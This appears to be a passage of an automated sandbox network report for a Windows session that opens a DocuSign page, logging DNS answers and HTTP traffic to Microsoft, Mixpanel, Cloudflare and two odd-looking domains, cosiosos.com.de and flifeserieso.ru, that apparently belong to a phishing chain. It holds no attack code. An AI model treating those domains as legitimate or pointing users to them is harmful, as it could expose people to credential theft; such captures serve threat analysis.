Oct 30, 2024 17:02:24.451678991 CET	1.1.1.1	192.168.2.16	0x967b	No error (0)	api.mixpanel.com		35.186.241.51	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:24.451678991 CET	1.1.1.1	192.168.2.16	0x967b	No error (0)	api.mixpanel.com		130.211.34.183	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:25.230206966 CET	1.1.1.1	192.168.2.16	0xb664	No error (0)	api.mixpanel.com		35.190.25.25	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:25.230206966 CET	1.1.1.1	192.168.2.16	0xb664	No error (0)	api.mixpanel.com		35.186.241.51	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:25.230206966 CET	1.1.1.1	192.168.2.16	0xb664	No error (0)	api.mixpanel.com		107.178.240.159	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:25.230206966 CET	1.1.1.1	192.168.2.16	0xb664	No error (0)	api.mixpanel.com		130.211.34.183	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:37.335513115 CET	1.1.1.1	192.168.2.16	0x7c2f	No error (0)	cdn.optimizely.com		104.18.66.57	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:37.335513115 CET	1.1.1.1	192.168.2.16	0x7c2f	No error (0)	cdn.optimizely.com		104.18.65.57	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:37.336147070 CET	1.1.1.1	192.168.2.16	0xf6ba	No error (0)	cdn.optimizely.com			65	IN (0x0001)	false
Oct 30, 2024 17:02:38.258270979 CET	1.1.1.1	192.168.2.16	0x7859	No error (0)	cdn.optimizely.com			65	IN (0x0001)	false
Oct 30, 2024 17:02:38.259139061 CET	1.1.1.1	192.168.2.16	0xa05b	No error (0)	cdn.optimizely.com		104.18.65.57	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:38.259139061 CET	1.1.1.1	192.168.2.16	0xa05b	No error (0)	cdn.optimizely.com		104.18.66.57	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:02:39.645858049 CET	1.1.1.1	192.168.2.16	0x9fae	No error (0)	na4.docusign.net	na4.docusign.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:02:39.655168056 CET	1.1.1.1	192.168.2.16	0x1500	No error (0)	na4.docusign.net	na4.docusign.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:03:08.425823927 CET	1.1.1.1	192.168.2.16	0x9436	No error (0)	cosiosos.com.de		104.21.28.165	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:08.425823927 CET	1.1.1.1	192.168.2.16	0x9436	No error (0)	cosiosos.com.de		172.67.170.241	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:08.425847054 CET	1.1.1.1	192.168.2.16	0xb01c	No error (0)	cosiosos.com.de			65	IN (0x0001)	false
Oct 30, 2024 17:03:11.984000921 CET	1.1.1.1	192.168.2.16	0x22c	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 17:03:11.986481905 CET	1.1.1.1	192.168.2.16	0xc957	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:11.986481905 CET	1.1.1.1	192.168.2.16	0xc957	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:13.769124031 CET	1.1.1.1	192.168.2.16	0xaa27	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 17:03:13.770332098 CET	1.1.1.1	192.168.2.16	0x185	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:13.770332098 CET	1.1.1.1	192.168.2.16	0x185	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:13.791393042 CET	1.1.1.1	192.168.2.16	0x2960	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:13.791393042 CET	1.1.1.1	192.168.2.16	0x2960	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:13.791403055 CET	1.1.1.1	192.168.2.16	0x66db	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 17:03:16.698261023 CET	1.1.1.1	192.168.2.16	0xdc9d	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:36.908520937 CET	1.1.1.1	192.168.2.16	0xdb6b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:36.908520937 CET	1.1.1.1	192.168.2.16	0xdb6b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:36.908761978 CET	1.1.1.1	192.168.2.16	0x3821	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 17:03:37.916899920 CET	1.1.1.1	192.168.2.16	0x3aa0	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:37.916899920 CET	1.1.1.1	192.168.2.16	0x3aa0	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:37.917381048 CET	1.1.1.1	192.168.2.16	0xa81c	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Oct 30, 2024 17:03:38.268305063 CET	1.1.1.1	192.168.2.16	0xe4eb	No error (0)	flifeserieso.ru			65	IN (0x0001)	false
Oct 30, 2024 17:03:38.296520948 CET	1.1.1.1	192.168.2.16	0xfa8f	No error (0)	flifeserieso.ru		104.21.17.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:38.296520948 CET	1.1.1.1	192.168.2.16	0xfa8f	No error (0)	flifeserieso.ru		172.67.175.107	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:40.795804024 CET	1.1.1.1	192.168.2.16	0x1803	No error (0)	na4.docusign.net	na4.docusign.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:03:40.817815065 CET	1.1.1.1	192.168.2.16	0x72db	No error (0)	na4.docusign.net	na4.docusign.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:03:41.788748026 CET	1.1.1.1	192.168.2.16	0x645e	No error (0)	na4.docusign.net	na4.docusign.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:03:41.811053038 CET	1.1.1.1	192.168.2.16	0x2455	No error (0)	na4.docusign.net	na4.docusign.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:03:42.869663000 CET	1.1.1.1	192.168.2.16	0x49ea	No error (0)	flifeserieso.ru			65	IN (0x0001)	false
Oct 30, 2024 17:03:42.964658976 CET	1.1.1.1	192.168.2.16	0xc550	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:03:42.965497017 CET	1.1.1.1	192.168.2.16	0xc67d	No error (0)	cdn.jsdelivr.net	cdn.jsdelivr.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 17:03:43.230835915 CET	1.1.1.1	192.168.2.16	0x55f4	No error (0)	flifeserieso.ru		104.21.17.93	A (IP address)	IN (0x0001)	false
Oct 30, 2024 17:03:43.230835915 CET	1.1.1.1	192.168.2.16	0x55f4	No error (0)	flifeserieso.ru		172.67.175.107	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-10-30 16:02:19 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-30 16:02:19 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 16:02:19 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 16:01:19 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: f2df983e-a3f9-41b1-863c-b042f4b023c0 PPServer: PPV: 30 H: BL02EPF0001D9FE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 16:02:19 GMT Connection: close Content-Length: 11392
2024-10-30 16:02:19 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp	Bytes transferred	Direction	Data
2024-10-30 16:02:20 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-30 16:02:20 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 16:02:21 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 16:01:20 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_SN1 x-ms-request-id: 0d7faa21-fbcc-4bae-a78e-2bfdb4df9c65 PPServer: PPV: 30 H: SN1PEPF0002F062 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 16:02:20 GMT Connection: close Content-Length: 11412
2024-10-30 16:02:21 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp	Bytes transferred	Direction	Data
2024-10-30 16:02:22 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-10-30 16:02:22 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-30 16:02:22 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 30 Oct 2024 16:01:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: 3d0a322b-9b09-4966-91a5-466aad3fa0e1 PPServer: PPV: 30 H: BL02EPF0001D779 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 30 Oct 2024 16:02:22 GMT Connection: close Content-Length: 11412
2024-10-30 16:02:22 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp	Bytes transferred	Direction	Data
2024-10-30 16:02:22 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=taDD3xpuybGbbSO&MD=rvYMRxo8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 16:02:22 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6f0e1590-d157-4110-8e23-21c239ea5bc8 MS-RequestId: 2e3f8289-6d00-4332-97a9-ee54c547077f MS-CV: 6T/6Pw9J50289aiq.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 16:02:22 GMT Connection: close Content-Length: 24490
2024-10-30 16:02:22 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 16:02:22 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Timestamp	Bytes transferred	Direction	Data
2024-10-30 16:02:23 UTC	540	OUT	GET /ds_arya_wrapper.min.js?f=1 HTTP/1.1 Host: a.docusign.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://na4.docusign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 16:02:23 UTC	313	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 16:02:23 GMT Content-Length: 631 Connection: close Server: DS-Arya Expires: Thu, 31 Oct 2024 16:02:23 GMT Cache-Control: max-age=86400 Set-Cookie: ds_a=7cde590a-d546-483f-9ea5-7c08b7dcb3d1;Domain=.docusign.com;Max-Age=63072000;SameSite=None;Secure;Path=/;HttpOnly
2024-10-30 16:02:23 UTC	631	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 75 3d 74 68 69 73 3b 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 69 2c 66 2c 72 2c 65 2c 6f 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 72 65 74 75 72 6e 20 64 65 66 69 6e 65 28 6f 29 3b 66 26 26 66 5b 72 5d 3f 66 5b 72 5d 3d 6f 28 6e 2c 30 2c 21 30 2c 66 2c 72 2c 65 29 3a 75 5b 6e 5d 3d 6f 28 6e 2c 30 2c 21 30 2c 66 2c 72 2c 65 29 7d 28 22 44 53 5f 41 72 79 61 22 2c 30 2c 30 2c 75 2e 6d 6f 64 75 6c 65 2c 22 65 78 70 6f 72 74 73 22 2c 22 6c 65 6e 67 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 6e 2c 66 2c 72 2c 65 2c 6f 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 75 3d 7b 7d 2c 63 3d 28 73 28 66 75 6e 63 74 Data Ascii: (function(){var u=this;!function(n,t,i,f,r,e,o){if("function"==typeof define&&define.amd)return define(o);f&&f[r]?f[r]=o(n,0,!0,f,r,e):u[n]=o(n,0,!0,f,r,e)}("DS_Arya",0,0,u.module,"exports","length",function(t,i,n,f,r,e,o){"use strict";var u={},c=(s(funct

Timestamp	Bytes transferred	Direction	Data
2024-10-30 16:02:24 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 16:02:24 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=2641 Date: Wed, 30 Oct 2024 16:02:24 GMT Connection: close X-CID: 2

Timestamp	Bytes transferred	Direction	Data
2024-10-30 16:02:25 UTC	1195	OUT	GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkNocm9tZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogIm5hNC5kb2N1c2lnbi5uZXQiLCIkc2NyZWVuX2hlaWdodCI6IDEwMjQsIiRzY3JlZW5fd2lkdGgiOiAxMjgwLCJtcF9saWIiOiAid2ViIiwiZGlzdGluY3RfaWQiOiAiMTkyZGUyOWVmN2I1ODItMDljMGVjNmQwNThmOGQtMjYwMzFlNTEtMTQwMDAwLTE5MmRlMjllZjdjNGEwIiwiJGluaXRpYWxfcmVmZXJyaW5nX2RvbWFpbiI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcGFnZSI6ICJuYTQuZG9jdXNpZ24ubmV0IiwibXBfcmVmZXJyZXIiOiAibmE0LmRvY3VzaWduLm5ldCIsIm1wX2Jyb3dzZXIiOiAiQ2hyb21lIiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsInRva2VuIjogIjMwNGNjYmRlMjRkM2IxNWZmZTJkNWRlMzBjMTBkYWIyIn19&ip=1&_=1730304143235 HTTP/1.1 Host: api.mixpanel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", 